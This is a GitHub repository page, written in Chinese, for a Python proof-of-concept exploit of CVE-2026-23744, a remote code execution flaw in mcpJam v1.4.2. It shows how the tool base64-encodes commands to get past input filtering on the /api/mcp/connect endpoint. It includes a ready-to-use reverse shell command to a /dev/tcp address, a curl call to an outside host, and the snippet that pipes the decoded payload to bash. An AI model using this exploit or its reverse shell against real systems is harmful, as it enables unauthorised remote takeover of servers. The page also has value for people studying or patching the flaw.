keeieb79/CVE-2026-23744-poc

GitHub: keeieb79/CVE-2026-23744-poc

针对 mcpJam v1.4.2 的 CVE-2026-23744 远程代码执行漏洞的 Python 概念验证利用工具,通过 Base64 编码绕过输入过滤实现任意命令执行。

Stars: 0 | Forks: 0

# CVE-2026-23744 — mcpJam 远程代码执行 (RCE) 漏洞利用 这是一个针对 **CVE-2026-23744** 的 Python 3 概念验证漏洞利用程序,该漏洞是一个影响 **mcpJam v1.4.2** 的任意命令执行漏洞。 该工具通过在传输前透明地对命令进行 Base64 编码,实现了 payload 的自动化投递,有助于绕过严格的输入验证和字符过滤机制。该 payload 会在目标系统上通过 `/bin/bash` 包装器进行解码并执行。 ## 功能 ### 自动 Base64 Payload 编码 命令在传输前会自动进行编码,从而在针对实施严格输入验证或字符限制的应用程序时,提高了利用的可靠性。 ### 灵活的命令执行 支持任意命令执行,包括: * 反弹 shell(`sh`、`bash`、`nc` 等) * 系统信息枚举 * 网络连通性测试 * 自定义 payload 投递 ### 详细的调试输出 显示: * 生成的 JSON 请求 payload * 原始服务器响应 这简化了故障排除和漏洞利用验证的过程。 ### 绕过 SSL 验证 抑制证书验证警告,允许与使用自签名或不受信任的 SSL 证书的目标进行交互。 ## 用法 ### 前置条件 安装所需的依赖项: ``` pip install requests ``` ### 语法 ``` python3 exploit.py "" ``` ## 示例 ### 连通性测试 ``` python3 exploit.py http://devhub.com:6274 "curl http://10.10.14.70:8888" ``` ### 反弹 Shell ``` python3 exploit.py http://devhub.com:6274 "sh -i >& /dev/tcp/10.10.14.70/4444 0>&1" ``` ## 技术细节 该漏洞利用程序通过构造恶意的 `serverConfig` 对象来针对 `/api/mcp/connect` 端点进行攻击。 该工具没有直接传输命令,而是将 payload 转换为 Base64 编码的字符串,并通过 Bash 执行: ``` "args": [ "-c", f"echo {base64_payload} | base64 -d | bash" ] ``` 这种方法有助于规避应用层的过滤,同时确保 payload 在目标主机上被完全解码并执行。 ### 执行流程 1. 用户提供的命令被进行 Base64 编码。 2. 编码后的 payload 被嵌入到 `serverConfig` 请求中。 3. 目标服务器使用 `base64 -d` 解码该 payload。 4. 解码后的命令通过管道直接传递给 `/bin/bash`。 5. 该命令以易受攻击的 mcpJam 进程的权限执行。 ## 免责声明
标签:DNS 反向解析, Python, RCE, 威胁模拟, 无后门, 编程工具, 远程代码执行